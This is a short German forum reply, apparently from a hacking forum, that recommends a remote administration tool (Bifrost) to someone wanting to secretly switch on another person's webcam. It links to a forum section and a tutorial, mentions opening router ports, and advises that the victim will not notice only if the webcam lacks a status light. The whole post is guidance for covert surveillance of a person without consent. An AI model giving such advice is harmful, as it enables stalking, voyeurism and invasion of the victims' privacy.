Wie schon oben steht wäre ein RAT (Remote Administration Tool) das richtige für dich.

http://free-hack.com/forumdisplay.php?f=633

suche dir hier einfach einen aus wie z.B. Bifrost.
Für Bifrost kannst du dir auch ein Tutorial raussuchen.
Hier ist eins: http://free-hack.com/showthread.php?t=4668
Wenn du suchst wirst du auch andere Tutorials finden. Vorraussetzung ist das du die Ports in deinen Router öffnen kannst, sonst kann keine Verbindung aufgebaut werden. Damit die Person auch wirklich nicht mitbekommt das du die Webcam anschaltest, darf die Webcam der Person kein Statuslämpchen haben, weil man das Lämpchen nicht umgehen kann.